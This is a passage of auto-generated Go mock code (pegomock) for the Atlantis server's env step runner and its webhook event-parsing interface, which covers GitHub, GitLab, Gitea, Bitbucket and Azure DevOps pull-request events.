VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockEnvStepRunner { return &VerifierMockEnvStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockEnvStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockEnvStepRunner { return &VerifierMockEnvStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockEnvStepRunner struct { mock *MockEnvStepRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockEnvStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, value string, path string, envs map[string]string) *MockEnvStepRunner_Run_OngoingVerification { _params := []pegomock.Param{ctx, shell, cmd, value, path, envs} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockEnvStepRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEnvStepRunner_Run_OngoingVerification struct { mock *MockEnvStepRunner methodInvocations []pegomock.MethodInvocation } func (c *MockEnvStepRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, *valid.CommandShell, string, string, string, map[string]string) { ctx, shell, cmd, value, path, envs := c.GetAllCapturedArguments() return ctx[len(ctx)-1], shell[len(shell)-1], cmd[len(cmd)-1], value[len(value)-1], path[len(path)-1], envs[len(envs)-1] } func (c *MockEnvStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []*valid.CommandShell, _param2 []string, _param3 []string, _param4 []string, _param5 []map[string]string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]*valid.CommandShell, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*valid.CommandShell) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } if len(_params) > 5 { _param5 = make([]map[string]string, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(map[string]string) } } } return } ================================================ FILE: server/events/mocks/mock_event_parsing.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: EventParsing) package mocks import ( gitea "code.gitea.io/sdk/gitea" azuredevops "github.com/drmaxgit/go-azuredevops/azuredevops" github "github.com/google/go-github/v83/github" pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" gitea0 "github.com/runatlantis/atlantis/server/events/vcs/gitea" logging "github.com/runatlantis/atlantis/server/logging" client_go "gitlab.com/gitlab-org/api/client-go" "reflect" "time" ) type MockEventParsing struct { fail func(message string, callerSkip ...int) } func NewMockEventParsing(options ...pegomock.Option) *MockEventParsing { mock := &MockEventParsing{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockEventParsing) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockEventParsing) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockEventParsing) GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) models.PullRequestEventType { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{eventTypeHeader, sha, pr} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetBitbucketCloudPullEventType", _params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()}) var _ret0 models.PullRequestEventType if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequestEventType) } } return _ret0 } func (mock *MockEventParsing) GetBitbucketServerPullEventType(eventTypeHeader string) models.PullRequestEventType { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{eventTypeHeader} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetBitbucketServerPullEventType", _params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()}) var _ret0 models.PullRequestEventType if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequestEventType) } } return _ret0 } func (mock *MockEventParsing) ParseAPIPlanRequest(vcsHostType models.VCSHostType, path string, cloneURL string) (models.Repo, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{vcsHostType, path, cloneURL} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAPIPlanRequest", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.Repo var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.Repo) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockEventParsing) ParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) (models.PullRequest, models.Repo, models.Repo, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{adPull} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAzureDevopsPull", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.Repo var _ret2 models.Repo var _ret3 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.Repo) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(error) } } return _ret0, _ret1, _ret2, _ret3 } func (mock *MockEventParsing) ParseAzureDevopsPullEvent(pullEvent azuredevops.Event) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{pullEvent} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAzureDevopsPullEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.PullRequestEventType var _ret2 models.Repo var _ret3 models.Repo var _ret4 models.User var _ret5 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.PullRequestEventType) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(models.Repo) } if _result[4] != nil { _ret4 = _result[4].(models.User) } if _result[5] != nil { _ret5 = _result[5].(error) } } return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } func (mock *MockEventParsing) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (models.Repo, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{adRepo} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAzureDevopsRepo", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.Repo var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.Repo) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockEventParsing) ParseBitbucketCloudPullCommentEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{body} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketCloudPullCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.Repo var _ret2 models.Repo var _ret3 models.User var _ret4 string var _ret5 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.Repo) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(models.User) } if _result[4] != nil { _ret4 = _result[4].(string) } if _result[5] != nil { _ret5 = _result[5].(error) } } return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } func (mock *MockEventParsing) ParseBitbucketCloudPullEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{body} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketCloudPullEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.Repo var _ret2 models.Repo var _ret3 models.User var _ret4 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.Repo) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(models.User) } if _result[4] != nil { _ret4 = _result[4].(error) } } return _ret0, _ret1, _ret2, _ret3, _ret4 } func (mock *MockEventParsing) ParseBitbucketServerPullCommentEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{body} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketServerPullCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.Repo var _ret2 models.Repo var _ret3 models.User var _ret4 string var _ret5 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.Repo) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(models.User) } if _result[4] != nil { _ret4 = _result[4].(string) } if _result[5] != nil { _ret5 = _result[5].(error) } } return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } func (mock *MockEventParsing) ParseBitbucketServerPullEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{body} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketServerPullEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.Repo var _ret2 models.Repo var _ret3 models.User var _ret4 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.Repo) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(models.User) } if _result[4] != nil { _ret4 = _result[4].(error) } } return _ret0, _ret1, _ret2, _ret3, _ret4 } func (mock *MockEventParsing) ParseGiteaIssueCommentEvent(event gitea0.GiteaIssueCommentPayload) (models.Repo, models.User, int, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{event} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGiteaIssueCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.Repo var _ret1 models.User var _ret2 int var _ret3 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.Repo) } if _result[1] != nil { _ret1 = _result[1].(models.User) } if _result[2] != nil { _ret2 = _result[2].(int) } if _result[3] != nil { _ret3 = _result[3].(error) } } return _ret0, _ret1, _ret2, _ret3 } func (mock *MockEventParsing) ParseGiteaPull(pull *gitea.PullRequest) (models.PullRequest, models.Repo, models.Repo, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGiteaPull", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.Repo var _ret2 models.Repo var _ret3 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.Repo) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(error) } } return _ret0, _ret1, _ret2, _ret3 } func (mock *MockEventParsing) ParseGiteaPullRequestEvent(event gitea.PullRequest) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{event} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGiteaPullRequestEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.PullRequestEventType var _ret2 models.Repo var _ret3 models.Repo var _ret4 models.User var _ret5 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.PullRequestEventType) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(models.Repo) } if _result[4] != nil { _ret4 = _result[4].(models.User) } if _result[5] != nil { _ret5 = _result[5].(error) } } return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } func (mock *MockEventParsing) ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) (models.Repo, models.User, int, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{logger, comment} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubIssueCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.Repo var _ret1 models.User var _ret2 int var _ret3 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.Repo) } if _result[1] != nil { _ret1 = _result[1].(models.User) } if _result[2] != nil { _ret2 = _result[2].(int) } if _result[3] != nil { _ret3 = _result[3].(error) } } return _ret0, _ret1, _ret2, _ret3 } func (mock *MockEventParsing) ParseGithubPull(logger logging.SimpleLogging, ghPull *github.PullRequest) (models.PullRequest, models.Repo, models.Repo, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{logger, ghPull} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubPull", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.Repo var _ret2 models.Repo var _ret3 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.Repo) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(error) } } return _ret0, _ret1, _ret2, _ret3 } func (mock *MockEventParsing) ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{logger, pullEvent} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubPullEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.PullRequestEventType var _ret2 models.Repo var _ret3 models.Repo var _ret4 models.User var _ret5 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.PullRequestEventType) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(models.Repo) } if _result[4] != nil { _ret4 = _result[4].(models.User) } if _result[5] != nil { _ret5 = _result[5].(error) } } return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } func (mock *MockEventParsing) ParseGithubRepo(ghRepo *github.Repository) (models.Repo, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{ghRepo} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubRepo", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.Repo var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.Repo) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockEventParsing) ParseGitlabMergeRequest(mr *client_go.MergeRequest, baseRepo models.Repo) models.PullRequest { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{mr, baseRepo} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequest", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem()}) var _ret0 models.PullRequest if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } } return _ret0 } func (mock *MockEventParsing) ParseGitlabMergeRequestCommentEvent(event client_go.MergeCommentEvent) (models.Repo, models.Repo, int, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{event} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequestCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.Repo var _ret1 models.Repo var _ret2 int var _ret3 models.User var _ret4 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.Repo) } if _result[1] != nil { _ret1 = _result[1].(models.Repo) } if _result[2] != nil { _ret2 = _result[2].(int) } if _result[3] != nil { _ret3 = _result[3].(models.User) } if _result[4] != nil { _ret4 = _result[4].(error) } } return _ret0, _ret1, _ret2, _ret3, _ret4 } func (mock *MockEventParsing) ParseGitlabMergeRequestEvent(event client_go.MergeEvent) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{event} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequestEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullRequest var _ret1 models.PullRequestEventType var _ret2 models.Repo var _ret3 models.Repo var _ret4 models.User var _ret5 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(models.PullRequestEventType) } if _result[2] != nil { _ret2 = _result[2].(models.Repo) } if _result[3] != nil { _ret3 = _result[3].(models.Repo) } if _result[4] != nil { _ret4 = _result[4].(models.User) } if _result[5] != nil { _ret5 = _result[5].(error) } } return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } func (mock *MockEventParsing) ParseGitlabMergeRequestUpdateEvent(event client_go.MergeEvent) models.PullRequestEventType { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } _params := []pegomock.Param{event} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequestUpdateEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()}) var _ret0 models.PullRequestEventType if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullRequestEventType) } } return _ret0 } func (mock *MockEventParsing) VerifyWasCalledOnce() *VerifierMockEventParsing { return &VerifierMockEventParsing{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockEventParsing) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockEventParsing { return &VerifierMockEventParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockEventParsing) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockEventParsing { return &VerifierMockEventParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockEventParsing) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockEventParsing { return &VerifierMockEventParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockEventParsing struct { mock *MockEventParsing invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockEventParsing) GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification { _params := []pegomock.Param{eventTypeHeader, sha, pr} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetBitbucketCloudPullEventType", _params, verifier.timeout) return &MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification) GetCapturedArguments() (string, string, string) { eventTypeHeader, sha, pr := c.GetAllCapturedArguments() return eventTypeHeader[len(eventTypeHeader)-1], sha[len(sha)-1], pr[len(pr)-1] } func (c *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } } return } func (verifier *VerifierMockEventParsing) GetBitbucketServerPullEventType(eventTypeHeader string) *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification { _params := []pegomock.Param{eventTypeHeader} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetBitbucketServerPullEventType", _params, verifier.timeout) return &MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification) GetCapturedArguments() string { eventTypeHeader := c.GetAllCapturedArguments() return eventTypeHeader[len(eventTypeHeader)-1] } func (c *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } } return } func (verifier *VerifierMockEventParsing) ParseAPIPlanRequest(vcsHostType models.VCSHostType, path string, cloneURL string) *MockEventParsing_ParseAPIPlanRequest_OngoingVerification { _params := []pegomock.Param{vcsHostType, path, cloneURL} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAPIPlanRequest", _params, verifier.timeout) return &MockEventParsing_ParseAPIPlanRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseAPIPlanRequest_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseAPIPlanRequest_OngoingVerification) GetCapturedArguments() (models.VCSHostType, string, string) { vcsHostType, path, cloneURL := c.GetAllCapturedArguments() return vcsHostType[len(vcsHostType)-1], path[len(path)-1], cloneURL[len(cloneURL)-1] } func (c *MockEventParsing_ParseAPIPlanRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []models.VCSHostType, _param1 []string, _param2 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.VCSHostType, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.VCSHostType) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } } return } func (verifier *VerifierMockEventParsing) ParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) *MockEventParsing_ParseAzureDevopsPull_OngoingVerification { _params := []pegomock.Param{adPull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAzureDevopsPull", _params, verifier.timeout) return &MockEventParsing_ParseAzureDevopsPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseAzureDevopsPull_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseAzureDevopsPull_OngoingVerification) GetCapturedArguments() *azuredevops.GitPullRequest { adPull := c.GetAllCapturedArguments() return adPull[len(adPull)-1] } func (c *MockEventParsing_ParseAzureDevopsPull_OngoingVerification) GetAllCapturedArguments() (_param0 []*azuredevops.GitPullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*azuredevops.GitPullRequest, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*azuredevops.GitPullRequest) } } } return } func (verifier *VerifierMockEventParsing) ParseAzureDevopsPullEvent(pullEvent azuredevops.Event) *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification { _params := []pegomock.Param{pullEvent} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAzureDevopsPullEvent", _params, verifier.timeout) return &MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c 